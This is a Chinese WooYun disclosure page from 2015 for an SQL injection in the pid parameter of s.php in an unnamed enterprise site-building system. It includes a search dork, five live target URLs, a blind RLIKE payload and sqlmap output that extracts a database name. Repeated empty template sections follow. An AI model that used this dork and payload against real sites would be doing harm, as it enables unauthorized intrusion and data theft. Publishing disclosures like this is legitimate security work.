某通用型企业建站系统一处SQL注入 | wooyun-2015-0105803

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0105803

漏洞标题：

某通用型企业建站系统一处SQL注入

漏洞详情

披露状态：

2015-04-07：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-22：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某通用型企业建站系统一处SQL注入

详细说明：

关键词：inurl:i.php?pid=
漏洞文件：s.php
参数：pid
案例：
http://www.yufeng111.com/s.php?classid=8&id=6&t=2&pid=5
http://www.hrb-bs.com//s.php?classid=8&id=6&t=2&pid=1
http://www.hljorient.com//s.php?classid=8&id=6&t=2&pid=1
http://www.zlanquan.com//s.php?classid=1&id=1&t=1&pid=1
http://www.yuelangzhineng.com/s.php?classid=1&id=1&t=1&pid=1

漏洞证明：

TEST：http://www.yufeng111.com/s.php?classid=8&id=6&t=2&pid=5

Place: GET
Parameter: pid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
    Payload: classid=8&id=6&t=2&pid=5 RLIKE IF(4322=4322,5,0x28)
---
[12:46:56] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:46:56] [INFO] fetching database names
[12:46:56] [INFO] fetching number of databases
[12:46:56] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[12:46:56] [INFO] retrieved:
[12:46:58] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[12:46:58] [ERROR] unable to retrieve the number of databases
[12:46:58] [INFO] falling back to current database
[12:46:58] [INFO] fetching current database
[12:46:58] [INFO] retrieved:
[12:46:59] [WARNING] reflective value(s) found and filtering out
yufeng111
available databases [1]:
[*] yufeng111

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

漏洞概要关注数(24) 关注此漏洞

版权声明：转载请注明来源路人甲@乌云